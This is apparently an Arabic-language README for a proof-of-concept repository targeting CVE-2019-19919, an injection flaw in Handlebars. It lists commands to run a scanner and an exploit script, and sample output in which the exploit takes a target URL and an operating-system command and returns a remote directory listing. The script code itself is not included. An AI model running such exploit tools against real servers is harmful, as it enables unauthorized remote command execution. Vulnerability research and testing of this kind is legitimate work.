fazilbaig1/cve-2019-19919Handlebars ثغرة عدم التعقيم الصحيح للعناصر الخاصة في المخرجات المستخدمة بواسطة مكون تابع ('Injection')
ثغرة عدم التعقيم السليم للعناصر الخاصة في المخرجات المستخدمة بواسطة مكون سفلي ('حقن') في Handlebars
pip install requests packaging
python handlebars_scanner.py
pip install requests
python handlebars_exploit.py
أدخل عنوان URL الهدف:
المخرجات المتوقعة للاستغلال : أدخل عنوان URL الهدف (مثل http://example.com/render): http://example.com/render
أدخل أمر نظام التشغيل للتنفيذ: ls
[+] جاري إرسال حمولة الاستغلال إلى http://example.com/render...
[+] تم تنفيذ الحمولة بنجاح.
[+] الرد:
file1.txt file2.txt
